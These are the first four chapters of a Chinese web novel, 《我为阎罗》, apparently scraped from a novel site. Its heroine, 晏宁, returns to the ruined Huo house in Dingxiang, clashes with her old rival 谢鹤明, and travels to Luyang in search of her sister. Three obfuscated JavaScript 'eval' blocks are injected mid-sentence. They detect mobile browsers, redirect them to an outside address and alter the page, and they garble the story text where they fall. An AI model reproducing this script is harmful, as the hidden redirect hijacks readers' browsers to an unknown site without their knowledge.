《我为阎罗》 1. 定襄 寒露过后，天气渐渐冷了起来。 金秋的山间层林尽染，漫山的红叶如霞似锦，美得仿佛人间仙境。 这个时节，夜被拉长，天色将明未明，秋风起时，竟也感到丝丝凉意。 马车在林中疾驰，扫荡过一地枫叶。车夫一手抓着缰绳，一手拢紧了披风，动作不曾停下。 穿过林间小道，他看见远处的城门，忙不迭扭头冲车里人道：“姑娘，前方就到定襄了。” 静了片刻，他听到一声回应，“嗯。” 这是个奇怪的姑娘。 今日天还未亮，他正倚在车头呼呼大睡，忽地被人推了一下。他昨夜收工晚，本就睡不够，这一推险些将他推下马车去，心头火起，堪堪扶着马车稳住身子，转头就想冲人大骂，谁知面前站着的竟是个娇弱姑娘。 她一副弱柳扶风之态，生的十分标志，一双杏眸幽黑沉静，眉心一颗小痣，像是美人才有的印记，满头乌发编成鱼骨辫垂在一侧，以发带束住，除此以外，再无多余发饰。身上衣裙更是简单，素衣素面，似乎见对方欲破口大骂，她骇了一跳，退后两步，低头轻声道：“大哥，我想去定襄，可否载我一程？” 车夫勉强将骂声咽回肚子里，小声嘀咕道：“难不成我真是累晕了，被一姑娘推了下也能翻下车去？”他抬头时，又扬起一个笑，“定襄路远，何不等天色亮些？” 天色未明，山路本就难行。 前些时日更是一连下了几日雨，寒气重，极易着凉。 却见女子摇摇头，脸上浮现悲色，“家中长辈病重，这一面也不知能不能赶上……” 既是要命的急事，他走这一趟也无妨。 但是…… 车夫看着眼前姑娘，想了想，打量女子一眼，迟疑道：“你有银子吗？” 他又不是开善堂的，没道理为他人死活大发善心。 “有的。”女子腼腆笑了下，“大哥放心，该付的银两必不会少！” 马车停在城门口，城中街道两侧已有商铺开门迎客，车夫犹豫了下，问：“姑娘，我再送你一程吧，接下来往哪儿走？” 定襄城虽比不上京都繁华，但人人都想留在这。 夏日微凉，冬日和暖。 是个长久居住的好去处。 女子撩开车帘往外看了眼，熟悉的景致勾起了她无数回忆，不知想到什么并不美好之事，脸上神色变幻莫测，最终逐渐归于沉静，她指了个方向，车夫重新驾起马车，驶向她所说之处。 马车轧过石子路，一路驶过天河桥，在一处宅院外停下时，天已大亮。 车夫看着眼前宅院，无比怀疑的声音响起，“姑娘，你确定是这儿吗？” 女子掀起帘子，弯腰出来，抬眼一看，似是愣住了。 眼前宅院大门紧闭，顶上匾额歪歪扭扭，已被灰尘蒙尽。门前枯叶更是遍地都是，石阶上不知哪儿来的一滩水，像是常年无人打扫。 眼下情景绝非有人居住的模样。 女子回过神，从荷包里取出银两递给车夫，面上看不出哀色。 收了银子，车夫对自己先前的某些想法感到羞愧，他见这女子穿着朴素，连个像样的衣衫都没有，便以为她没钱。 如今再看她踏上石阶，背影单薄，瘦弱伶仃，仿佛一阵风就能吹走似的，不免心生一丝微妙的怜悯。 他还在踌躇，就见一旁街铺里走出个妇人，她体态臃肿，走起路来时，脸上赘肉随之一抖，嘴里还在嘀咕，“一个家里，没个省心的，若不是前几年征兵，日子也不至于如此难捱。” 这头说着话，余光瞥见常年萧瑟的霍府门前竟站着个女子，她不由疑惑，走上前去，开口道：“姑娘，你找谁啊？” 她嗓门大，这一句大声嚷嚷引得四邻纷纷投来目光。 晏宁扭头望去，杏眸微敛，不见悲喜。 这女子生得好生眼熟。 妇人狐疑的多看了两眼，随即喊道：“你找谁都没用了，这家人死绝了。” 一言如平地惊雷。 晏宁眼中终于起了波澜，她慢慢抬眼，轻声问：“你说什么？” 她的瞳孔深黑，如一眼望不见的苍穹，不知哪来的凉意，妇人忍不住打了个寒颤，正想重复一遍，突然一拍脑袋，“啊，不对，好像有个嫁出去的姑娘还活着。” 嫁出去的…… 是霍云清。 晏宁走下石阶，在妇人面前站定，笑容温和，“敢问那姑娘嫁去了何处？” “听说是去了庐阳。”妇人回答完后，对这陌生女子更加好奇，“你是霍家什么人？我瞧你有些面熟。” 视线随之上移，落在女子眉心一颗小痣上，瞬间，所有的记忆喷涌而来，她惊得倒退一步，心中情绪更是激荡难平，时至今日回想起来，仍觉心有余悸。 那是三年前的事了。 霍家派出十几个孔武有力的壮丁，站在天河桥下拦截匆匆而至的晏宁，二话不说，便将她绑起来，当着全城百姓的面拖至江边。 自始至终，霍家人都未曾出面。 那群壮丁找来一个竹筐将晏宁套住，把她往池子里按，竟是要将她沉塘。 此番行径过于粗暴残忍，却无一人敢上前制止，只因霍家家大业大，与京城也少有牵扯，没哪个不怕死的敢蹚这趟浑水。 后来，城中流出传言，是那晏宁命犯孤星，眉心一颗黑痣是为不祥印记，她克父克母克友，是天降灾星。 说这话的人言之凿凿，让人不敢不信。 无论如何，人已死，多说无用。 可今日，却有一个长相相似之人站在她面前，神色姿态亦与记忆中的女子重合，妇人吓得连连后退。 “你你你……”她手指着对方，面露惊恐，半晌说不出话。 晏宁微微一笑，将她的手按下来，“夫人不必害怕，我是人，不是鬼。” 手上触感温热，是人的体温。 这句话算是将她的惊惧给彻底扑灭，妇人胸膛起伏，心情平复，似觉丢脸，又想起眼前人是个灾星，当即嫌弃的后退几步，被晏宁碰过的手指更是反复在布衣上擦拭，她道：“没死还回来作甚？不该找个地方躲着吗？” 晏宁当作听不懂她话里的意思，只问：“这霍家一门都发生了什么？” 妇人往回走，拿上菜篮挂在胳膊上，随口应付一句，“那就不清楚了，当年朝廷征兵，抓了好些个男人，走了的就没回来。” 见她要走，晏宁拦在她面前，“那嫁出去的霍家姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831663|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢？” 妇人本就不待见她，见她还拦着路不让走，更气了，用力推了她一把，啐道：“要死没死的贱丫头，跟你说话已是给你面子了，再挡路当心老娘揍你！” 晏宁身子骨柔弱，轻易推不得，只这一下她便被推到一旁石阶上，跌坐下去，秀腕传来痛意。她转头看一眼，那车夫早已不知去哪儿了，四周围观之人也渐渐散去，剩下几个对她一阵指点。 她撑地起身，并未管腕上伤痕，走到大门外，双手用力推开。 尘土扑面而来，好在她及时掩住口鼻，才不至于被呛咳。 这是座大宅院，院中枯枝落叶飘落一地，石凳桌子被掀翻，园中亭子再不见往日景象。堂厅正中-央原本挂着的字画亦掉落在地，上头还印着几个凌乱的脚印，只是时间久远，字画也已泛黄，无论当初有多值钱，如今也是废纸一个。 晏宁穿堂而过，往后院走去，她原先住在角落的一间小屋子里，与丫鬟们挤在一处。后来霍云清不顾霍家人反对，硬是将她带去与她同住。 再一推门，屋中味道更加难闻，窗纸都发霉了，地上鼠蚁四处攀爬，柴堆亦生了虫蛀，很难想象曾有一女子在此地住过。 晏宁往回走，路过一处厢房时，她不自觉停下脚步，在房门外站了许久，却始终没勇气推开门。 三年前，她收到霍云清的书信便一刻不停地赶回霍家，谁知等待她的竟是恶念与杀意。 她始终不解，当初究竟发生了什么，霍云清为何没来赴约，霍家人又为何没有出面。 太多的谜团萦绕在心头，晏宁出神的往门外走去。 霍家大宅地处城中心，街边四邻皆设有商铺茶楼，亭台楼阁，一到夜晚便亮起灯火，分外热闹。 宅院对面往下走一点，便是天河桥，一条河流自桥底穿流而过，这河与别处不同，水往远处来，源源不断，永不干涸。 清澈见底，水声潺潺。 河边开着木芙蓉，这个时节最盛，清香怡人，煞是好看。 她兀自出了会儿神，乍然听到不远处传来马蹄声，听那动静似乎是往这儿来的。 正犹疑着，冷不防听见有人说了句：“那不是谢家二郎吗？”那人离得近，看得远。 “哪个谢家二郎？” “你来得晚，有所不知，曾经这定襄城里除了霍家之外，还有谢家，两家皆是大户，只不过出了点事……” “出了何事？” 那人再问，对方却始终闭口不言。 晏宁听了这些话，心中微动。 谢二郎，谢鹤明？ 想都没想，晏宁转身就走。 她和此人实在无话可说，还是离开为好。 但眼下对方来得及，她走也走不了，只能先躲起来。 耳边马蹄声愈来愈近，她踏入门槛，将大门关上，隔绝了外头喧闹，只听到自己的心跳声，异常清晰。 她背靠墙面，过了片刻，只觉有人推开大门，走了进来。 对方停在门口，没有进一步举动，这让人有些好奇，晏宁闭眼默数三个数，而后缓慢探头。 她躲得隐蔽，在墙边还有一个石柱遮挡，不易叫人察觉。 透过石柱里的孔隙，她见到了昔日的死对头。 2. 故人 谢家二郎谢鹤明是谢家一辈中最有出息的子弟，无论是文韬武略，还是四书六艺皆为族中翘楚。 城中不乏年轻子弟与其在同一学堂念书，却屡屡被拿来做比较，让人好生不快。 可即便他们再恨，暗中使了再多绊子，谢鹤明仍稳居第一，还未至弱冠，便有不少媒人上门说和。 定襄城中多数人家都给谢家递过帖子，族中也有意为谢鹤明细细挑选一位才德兼备的世家贵女。 除了他优秀以外，还有一个至关重要的原因。 这也是晏宁后来才听说的。 原来定襄城里的谢氏只是盛京城中的谢氏旁支。 到底是谢家一辈中最有出息的子弟，京都谢家也上了几分心。 晏宁透过孔隙看去，年轻男子与记忆中差距甚大，一身宝蓝色暗紫纹云纹锦衣，腰间挂着一个羊脂白玉，乌发一丝不苟地束起，套在一个赤金玉冠中，过于引人注目的打扮，看来三年的沉淀不仅没让他稳重起来，反倒变得张扬不少，举手投足间都是与当初截然不同的气势。 年轻人走到院中，目光四处扫了遍，不知在找什么，眼见他视线瞥过来，晏宁急忙侧身，将身子彻底隐没于石柱后。 晨起的露水顺着枝叶往下滴落，在她身侧有一片从外头探入的树叶，一滴露水正巧落在她脸颊上，凉意渐渐涌来。 她靠着墙，微微仰头，顶着定襄的天，踩着霍家的地，神色有些恍惚。 在她斜侧方不远处的年轻男子，似是感受到什么，盯着石柱的方向，眼中一闪而过的情绪叫人难以捕捉。 不知过了多久，晏宁垂头盯着腕上早已结痂的血痕，缓缓探头，见院中空无一人，这才走出去。 大门紧闭，她站在院子里，四周静悄悄地，风吹叶落，掀起一点动静。 霍家待她并不算好，她这三年中所遭遇的一切更是因霍家而起。 但，她还有阿姐。 至少她在这个世上，不算孤身一人。 庐阳—— 虽说她也想要尽快上路，但又担心谢鹤明并未走远，若是碰到，难免麻烦，毕竟此人有多难缠，她心知肚明。 夜深后，晏宁先去找了个马车，付了定金，约好明日卯时出发。 她回到霍家，这是今夜唯一可以休息的地方，虽说乱了点，但能睡就行。 三年里，霍家死的死，散的散，在旁人看来这是处阴宅，阴气重得很，正常人谁敢靠近？ 是以，放着这么一座大宅院久未有人居住，也无人敢贪。 宅中屋子很多，她走到霍云清的房门前，只犹豫了片刻，便推门而入。 常年没人打扫的屋子虽积满尘土，但陈设倒是未有变化。 她找来一块布，简单擦了一遍，布巾擦过印染湖光山色的屏风时，手指微顿一瞬，她眼中终是起了一丝柔情。 手指下的彩绘屏风是霍云清曾告诉过她的世界，那时她心中不屑，却并未反驳，只静静听着。 她早就受够了世界所带给她的恶意，人心中的贪念与邪恶将世间腐朽成如今这般模样，也只有霍云清这样心思单纯之人才觉得世人大多宽和善良。 屋中漆黑一片，她推开窗，任由夜风卷入。窗外树影窸窣，月光落在庭院中，皎洁又明亮。 深夜的凉意驱散了她心中阴影，但还不够。她走到角落，捡起地上一截残烛，试着将其点燃，好在屋子常年紧闭，还算干燥，点点灯火照亮这间屋子，将她的身影映在身后的屏风上。 女子纤瘦的影子为这扇屏风增添增色，湖光山色下美人垂眸，宁静又祥和。 烛火的微光带来些许暖意，她轻轻放在床旁，躺到床榻上。被褥早就发霉，散发出难以忍受的臭味，但她好像并未闻到，只侧过身贴近烛光，试图寻求一丝温暖。 夜里唯一的一抹光亮被风吹得一闪一闪，像随时都会熄灭一般。 她睡眠浅，不到卯时便醒了。 看向窗外，天还未亮，空气中散发着潮湿的味道。 简单修整一番后，她将门带上，出了霍家。 街上没什么人，她走到昨日与车夫相约的地方，那儿赫然停着一辆马车，只是左右不见车夫影子。 她心中疑惑，走上前去，正欲抬手掀开车帘，就见车帘被人从里头掀起，露出一张俊美无双的脸来。 时隔三年再次对上这双眼睛，她心头一跳，愣了好长一会儿，双手仍维持着掀帘的姿势。 车内男子朝她勾起一抹笑，似乎已等了她许久，“霍七娘，久违了。” 这一声称呼令晏宁浑身僵住了，她缓慢往后退，一步一步挪动步子，双脚似有千斤重。 除了他，从未有人这般称呼过她。 她不是霍家人，也没人真正把她当成霍家人。 霍云清将她带进霍家时，告诉她，今后她在霍府排行第七，是霍家七姑娘了。 可她并未放在心上，因为她深知自己不过是个外来者，是个人憎鬼厌的乞儿。 逝去的记忆如潮水般涌来，晏宁看着这张比昔日更加俊秀的脸庞，仿佛与初见时那个倚墙看戏的少年重合。 那是一个春日，春意盎然，杨柳依依。她心中念着霍云清喜爱城南街口所售糖糕，徒步行了大半日才买回，走在巷子里时，被一个大她几岁的少年拦住。 少年的影子罩在她身上，衬得她娇小又可怜，像是入了狼窝的羔羊，无处可逃。 她缩了缩脖子，缓慢抬头，眼神怯怯的，小声道：“你……你为何拦我？” 头顶传来一声嗤笑，像在嘲笑她怎会问出如此愚蠢的问题。 晏宁怕极了，挪了一小步，越过他朝巷子尽头看去，那里空无一人，没人能帮她。 捧着糖糕的手一点点收紧，她退后一步。 “别看了，没人会来。” 少年不胖不瘦，却长她一个头，步步紧逼的模样倒有几分唬人气势。 他打量晏宁一眼，讥讽道：“真以为你进了霍家的门就是霍家人了？也不看看霍家除了霍五娘，还有谁护着你。” 他在她面前来回走动，高高在上的模样将桀骜不驯的姿态摆得十足，话语里仍是对她的奚落，“等了这么久，总算让我逮到了。”他抬手，手中拿着一柄扇子，朝她脸上拍去，边拍边说：“你莫不是忘了还从我脚下抢过食物，说到底你还该感谢我，若不是我的施舍，你早该饿死了。” 那是在她还未曾遇到霍云清之前的事。 街边乞儿很多，无人会在意她这么一个瘦弱的孩子，那时她蓬头垢面，头发粗糙，将大半张脸遮住，许多人将她认成了男孩。 抢食物时更没有什么怜香惜玉之说。 她曾为了活命，从野狗嘴里夺食，从行人脚下捡食。 晏宁垂眸不语，任他打骂不还手，一副逆来顺受的模样，但她越是如此，对方就越来劲。 “说你呢，怎么！哑巴了？”少年搡了她一下，又倾身靠近，“来，说句谢谢听听。” 晏宁乖顺道：“谢谢。” “……”少年嫌弃的离她远了点，不费吹灰之力便达成的目的实在无趣。 巷子里很安静，是他特意选的地方。 这是一条通往霍家的必经之路，却又离霍府有段距离。 他跟了晏宁数日，发现她每次都会在这个时辰经过这里，所以他提前蹲守在这，果真不出他所料。 晏宁出现了。 怀里还揣着个油纸包，宝贝似的小心护着。 从前晏宁浑身脏兮兮的，被他推到泥地里，也一声不吭，不知道的还以为她骨头有多硬，偏偏每次见了他，又瑟缩成一团，跟小猫仔儿一样。 这样肮脏的孩子无人会对她心生怜悯，只恨不得躲得远远的。但被家中宠坏的少年似乎从她身上找到了乐趣，那是一种莫须有的满足感，仿佛只有用她的狼狈才能凸显他们的高贵。 少年一手打落了晏宁手里的油纸包，本就包的并不紧实的绳结一下子松散开来，里面的糖糕掉落在地上，变得松碎，沾染了尘土。 被她揣在怀中护了一路的糖糕就这么摔碎了，那一点余温也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831664|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留痕迹的从她掌心溜走，晏宁低着头，盯着地上零散的糕碎，神色落寞下来。 她喃喃道：“脏了，不能吃了。” “嗤。”少年仍不满意，抬脚将那些糖糕踩得稀烂，更是用力碾压几次，这才收脚，冷笑道：“更脏的你不都吃过？不如你再趴下去舔干净？” 换做寻常人听了这话早已发怒，可晏宁只是抬起那双幽黑的眸子静静地看着他，分明她才是那个被欺辱的人，但有那么一瞬，少年心生怯意，竟不敢再盯着这双眼睛。 转念一想，一个小乞丐罢了，自己怕她作甚！ 随即语气又横起来，“吃啊！你吃了我就放过你！” 永远不要小瞧一个人的恶意。 晏宁依旧看着他，轻声道：“我吃了，你就会放过我吗？” 这话看似柔和，却平静到没有一丝涟漪，听不出任何恐惧胆怯之意，狭小的巷子里，只有她的声音响起，如幽灵一般空洞。 少年不禁打了个寒颤，他四处张望，墙头树枝并未晃动，说明方才没有风吹过，那他怎么感觉冷呢？ 他看向面前娇弱的少女，将那错觉抛开，叉着腰道：“我说话算话，你趴下来，吃干净了，我就放了你。” 晏宁一点点弯腰，手往地上伸，冷不防又听他说：“啧啧啧，看来那霍五娘也是个软骨头，正好我有一兄弟看上她了，你改日将她带出来，以后我都不找你麻烦。” 他语气颇为傲慢，将一女子当作货物用于交换，还觉得这是理所应当。 晏宁手指顿了下，直起身，问他：“带出来，做什么？” 少年没听出她话里的不对劲，笑得不怀好意，让她想起一些不美好的过往，一样的嘴脸，一样的让人恶心。 “带出来，还能干嘛。”他说道。 人性的阴暗无处不在，无分年龄。 晏宁忽地绽开一个笑容，杏眸弯成月牙，她慢慢走近，眉心的那颗痣逐渐清晰，“说的不错。” 本是一张菩萨面，却让人心生寒意。 “带出来，还能干嘛。” 她只是重复了一遍他的话，却听得人毛骨悚然，浑身寒毛直竖，像从地狱里爬出来的孤魂野鬼，索命来了。 少年已经意识到不对了，咽了咽口水，双脚如同扎入泥地里，没等他转身逃跑，一只纤细的手快速地伸向他的脖颈。 他几乎没注意到她是如何动作的，只是一瞬间窒息感涌来，他仰着头，直翻白眼。 晏宁掐着他的脖子，愈收愈紧，不留一丝空隙，脸上却是笑着的，笑得明媚，笑得灿烂，她歪着脑袋问：“你怕死吗？” 那只纤细手指连他的脖颈都没完全包住，却能让他摆脱不得，脸涨得通红，青筋暴起，唇齿开合，想要说话却发不出声来。 少年心中悚然，他无法想象一个少女能有如此大的力气，这还是人吗？ 晏宁掐着他脖子拉到跟前，凝视片刻，眼中露出困惑的神色，“你为何不说话？” 他双腿已站立不住，眼中充血，又听了这话，几乎要吐血，只得用力拍打晏宁的手，另一只手指着，动作混乱，已不过脑了。 晏宁垂眼瞧着，毫不吃力的又加了力道，“你不怕死。”她自说自话，并不在意少年的举动，随即笑了起来，语气还带着少女的纯真与懵懂，“那要我送你一程吗？” 话语却如地狱修罗，让人毫不怀疑她话里的真实性。 少年疯狂挣-扎起来。 像是知道这是他最后的机会了。 眼前少女真的会杀了他。 他好歹是个男子，力道也不弱，打在晏宁手背上的声音啪啪作响，已是通红一片，但晏宁丝毫感受不到。 少女黑沉的双眸微抬，笑容天真又残忍，与被她掐住脖颈，满脸惊恐的少年形成强烈对比。 恰逢此时，远处巷口传来不轻不重的动静，晏宁动作一顿，循声看去。 长长的巷子尽头不知何时站了个人，他倚在墙边，如看戏一般冲她抬了抬下巴，算作打招呼，“霍七娘，久闻大名。” 3. 共乘 顿了顿，他打量似的扫一眼，脸上挂起戏谑的笑，“但还是百闻不如一见。” 也不知是被人撞破，还是失了兴致，晏宁手一松，将人丢开。 少年像垃圾一样被丢在地上，终于得了解放，他不停咳嗽，又猛地吸一口气，顿时有种劫后余生的感觉。 余光中瞥见晏宁双脚动了动，他如临大敌，因腿软地站不起来，只能一步步往后挪。 但晏宁只是走到那些稀碎的糖糕前蹲下，伸手捻起一块放在掌心，神色落寞，口中喃喃自语，“可惜了，脏了的东西不能给阿姐吃。” 少年愈发惊恐，看她的神情就像在看一个疯子，哪还有最初的嚣张，到最后干脆连滚带爬地跑远了。 与巷口的少年擦身而过时，险些摔了一跤，但他一刻没耽误，顾不上疼，爬起来就跑。 晏宁五指微张，稀碎糖糕从她指缝中掉落，前一刻还是一副分外可惜的模样，后一刻又极快速地收起所有情绪，敛眸作乖巧状，仿佛方才那个乖戾又阴狠的少女不是她一样。 被目睹了全程，晏宁却只是盯着他陷入沉思，似在揣度眼前人的价值。 她是知道他的。 霍家子女众多，偶尔也会提到定襄中人人吹捧的谢家二郎。 眼前人衣着华丽，却好素雅。眼眸似小鹿，盯着人时有种无辜感，眼角线条柔和，神色清透，是个没有攻击感的长相。 晏宁在观察他时，他也在观察晏宁，像是觉得有趣，走上前笑着朝她道：“在此地遇上也算缘分……” “不算。”只片刻，晏宁便得了决断，冷淡的打断他，语气多又不耐，“天色已晚，谢公子早些回吧，但愿今后不再相遇。” 当真是一句都不想与他多说。 那是他们第一次相遇，晏宁以为他们不会再见。 “七娘，你是要去庐阳吗？巧了，你我顺路，正好同行。” 晏宁定了定神，开口回绝，“不必了。” 她只差没在脸上写着不熟两个字了。 谢鹤明笑而不语，他见晏宁不说话也不离开，知道她在等什么，也不着急，颇有种成竹在胸的安然。 过了须臾，车夫从远处来，他笑着走近，问：“你们商量的如何了？” 晏宁不明所以，“商量什么？” 车夫笑呵呵道：“姑娘，不是老夫不愿载你，实在是这位公子给的太多了。” “……”一瞬间，晏宁就明白了。 果然还是敌不过人家富贵。 “但这位公子说了，他愿意与你共乘一辆，这路程就算他的。” 车夫的目光在二人中打转，疑惑道：“你们不是认识吗？”说着又从怀中取出她昨日给的那块定金，递过去，“要不，你考虑考虑？” “是故人。” “不熟。” 两个声音同时响起，却是截然不同的答案。 晏宁抬眼看着车内男子，他始终笑着，只是那笑容并不真切，看着不达眼底，整个人给她的感觉都与三年前大不相同。 他身上的锋锐更甚，眼神更犀利，也更加难缠。 “不了。”晏宁接过银子，“男女有别，共乘一辆有损清誉。”她微微点头，转身欲走。 “慢着。” 谢鹤明开口喊住她，“七娘当真想清楚了？只是这城中怕是再无一辆马车可载你前往庐阳了。” 晏宁蓦地转身，瞪他，“你做了什么？” 实在不是她多心。 就他千方百计阻止她离开的行径，便是算准了她已无计可施，唯有与他共乘。 “七娘莫恼，我只是想与你叙叙旧。” “没这必要。” “七娘。”他的尾音拖长，寻常的两个字竟被他喊出了缠绵的味道，“你不想快些见到你姐姐吗？” 他几乎将她拿捏住了，知道她在意的是什么，攻心就要攻其命脉，而霍云清是她的逆鳞。 晏宁盯着他看了好一会儿，皮笑肉不笑道：“那就多谢谢公子了。” “客气。”谢鹤明扬唇，心情甚好。 “还有一事。”晏宁定定瞧着他，“你何时知道我回来了？” 他能一早等在这，便是对她的行踪了如指掌，或许昨日她来此时，他便在一旁看着。 果真与三年前一样麻烦。 没等谢鹤明开口，身后便传来一个声音。 “公子！” 晏宁扭头。 一个随从打扮的少年匆匆赶来，手里还提着食盒，他在马车旁停下，仍有些气喘吁吁，见到晏宁也是一愣，随后行礼道：“七姑娘。” 晏宁回礼，略一回想，便记起此人来。 这是谢鹤明身边的亲信，似乎叫…… “元青，让你买个东西怎去了这么久？” “公子，”元青语气控诉，“从这儿到城南至少也要大半日，我能提前赶回来已是我脚程快。” 谢鹤明笑着不说话，看起来脾气很好的样子，目光转向晏宁，又道：“七娘，该出发了。” 七娘七娘七娘…… 他今日不知唤了她多少次，语调是上扬的，眉眼是含笑的。 晏宁蹙眉，踩着脚蹬上了车。 待她坐下后，那个食盒递到她面前，她抬头，似是不明所以。 谢鹤明将盖子打开，一股甜香漫了出来。 刻成桃花状的糖糕摆成一圈。 三年前这糖糕还是用油纸包着的，如今倒是奢华不少。 晏宁盯着盒中之物，眼底有一丝动容。 她被霍云清带入霍家的第一日，手里还紧攥着个从野狗嘴里抢来的肉，那肉又肥又脏，满是泥泞，让人看了就倒胃口，但晏宁却当宝贝似的护着。 整个堂厅的人都嫌弃的往后躲，生怕被她碰到，惹来晦气。 身旁的霍云清朝厅中人屈膝行礼，温声道：“云清已请示过祖父，今后阿宁便是霍家人了。” “凭什么！”当即有人叫起来，“她一个野丫头，凭什么做我们霍家人？” 霍云清平日对长辈最是恭敬，从未忤逆过半分，但那一刻，她只道：“阿宁饿了，我先带她下去休整。” 身后传来霍家人责怪辱骂的声音，但晏宁只侧头看了眼被霍云清紧紧握着的手，那只手很温暖，至今她还能想起阿姐掌心的温度。 霍云清将她带到了屋里，伸手想拿走她手中的肉，可晏宁如何能肯，那是她当下唯一能饱腹的东西了。 霍云清动作轻柔，见她执拗的不肯松手，便罢了。恰巧丫鬟入内，将一油纸包的物什递给她。 那包裹被放在桌上，霍云清解开绳子，甜香热气便冒了出来，她道：“肉虽好，但脏了的东西不能吃，这糖糕是我一早吩咐丫头去买来的，你尝尝。” 晏宁从未见过如此漂亮又精巧的糕点，情不自禁放下手里脏肉，拿起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831665|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一块咬了口，甜腻滋味立刻浸满口腔。 她永远忘不了那一刻的甜。 “路途遥远，先吃些垫垫肚子。” 谢鹤明的声音将她的思绪拉了回来，听他语声淡淡，似乎买到糖糕只是意外，但他所行必有原因，晏宁不动，看向一旁，“不必了，我不饿。” 谢鹤明也不强求，将盖子合上放到一旁，“那就等你饿了再吃。” 他双手放在腿上，手指不自觉地敲了敲膝头，视线落在晏宁脸上，不知在看什么，竟看得入迷。 那目光灼热，一动不动，晏宁心头烦闷，头也不回道：“公子再看下去，不怕我又发病，挖了你的眼？” 初见时，她便是如此对他说的。 “夜黑路远，我这病时常发作，公子可要当心些。” 谢鹤明没想到她会这么说，错愕一瞬，下意识问：“什么病？” 晏宁无语片刻，觑他，“疯病。” 那本是为了摆脱他的纠缠胡诌的，但后来想想，只觉得自己说的不够重，没能把谢鹤明吓退。 车厢不大，她的声音清晰的传到了外头，倒是把元青吓得一愣，忙扭头冲谢鹤明道：“公子，你的心已经丢了，眼睛可别再丢了。” 谢鹤明：“……不会说话就闭嘴！” 这话好生奇怪，什么叫心丢了？ 晏宁狐疑的看向他。 窗外起了风，从窗隙中透入，将晏宁发上束着的丝带吹得飘荡起来。 丝带很长，不经意间掠过对座之人的膝盖。这个时节他穿的并不单薄，丝带撩过膝头轻飘飘地，本该感觉不到，但他偏就是觉得有些痒。 顺着丝带看上去，女子身形轻盈柔美，面容小巧精致，若是笑起来，更是风采动人。 但她对自己总带着敌意，永远一板一眼。 谢鹤明反思了下，失笑片刻，抬头道：“若是累了，或可休息会儿。” “谢公子，你能安静会儿吗？” “……” 忽地车外传来一声轻笑，元青难得看见自家公子吃瘪，心中好生畅快。 晏宁没想那么多，直接闭上眼休憩。 马车行得很稳，入夜后，晏宁闻到一股淡香，她感受到身侧有动静，但对方并无恶意，她也作罢，不再理会。 出门在外，身旁又有男子，她无法入睡，只算闭目养神。 风往里灌入，车窗被拍得呼呼响，她的发丝被吹得扬起，脸颊已是冰冷一片。 头顶传来窸窣声响，她警惕地睁眼，定定盯着眼前人，“做什么？” 谢鹤明神色有些抱歉，“我见风大了些，便想把窗关上，没想到把你吵醒了。” “无妨，我没睡。” 她目光一掠，看到身旁放着的一件东西，伸手拿起。 “这是安眠香囊。”谢鹤明解释。 “多谢。”原来她方才闻到的淡香就是这个散发出来的，晏宁将香囊还给他，“但我从来不用。” 谢鹤明垂眼，手指在香囊上反复摩挲，良久，轻声“嗯”了句。 他们一路走走停停，遇到城镇就入城买些吃食放着路上吃，晏宁虽嘴上不说，但她只想快些到庐阳。 好在谢鹤明似乎也有急事，并不多耽搁。 又行了几日，远远便看到一座城门。 “公子，前面就到了。” 晏宁神色一动，冲外头喊道：“停车。” 4. 庐阳 车夫勒紧缰绳，马车停下。 谢鹤明看向她。 晏宁掀开车帘，等不及放下脚蹬便跳下去，发带飞扬，她笑了一下，朝车上人行了一礼，“既已到了，那便就此分别，山高路远，别再相遇了。” 这话是要与他彻底划清界限。 说完，不等对方反应过来，便朝城门走去。 “公子，这……” 谢鹤明看着晏宁的背影，当真毫不犹豫，一副急着远离他的姿态，瞬间气极反笑，用力一甩帘子，吐-出一句，“走。” 没了碍事之人，晏宁轻松不少。 进了城门，街市热闹繁杂，有妇人站在卖珠钗的商贩前细细挑选，各大酒楼里商人往来，举止阔气，街上叫卖的糖水糕点惹人嘴馋，比起定襄有过之而无不及。 她想起霍云清嫁的那户人家似乎姓孟，既是大户人家，想来也有不少人认识。 往里走了点，她见城中商铺虽不少，但茶摊明显更多，定是庐阳人好饮茶，坐在茶棚里饮上两口，再聊聊时下趣闻，这无异是个打探消息的好去处。 只是茶摊与茶摊各有区别。 靠近城门的几处，地处偏远，连大宅子都没有，纵然能听到什么消息，对她也是不便。 思索一阵后，她又往前走了一段路，那儿有一处茶摊，三三两两的人围在一起吃茶，她走过去，选了最近的一处坐下。 “姑娘，要吃点什么？” 晏宁取出一粒碎银放在桌上，“来杯茶水，另外，我想向你打听一个人。” 伙计见了银子，笑得合不拢嘴，连连应道：“您问，别的不敢说，要说消息灵通还没人比得上我。” 晏宁道：“你可知道孟家？” “孟家啊，你打听他作甚？” 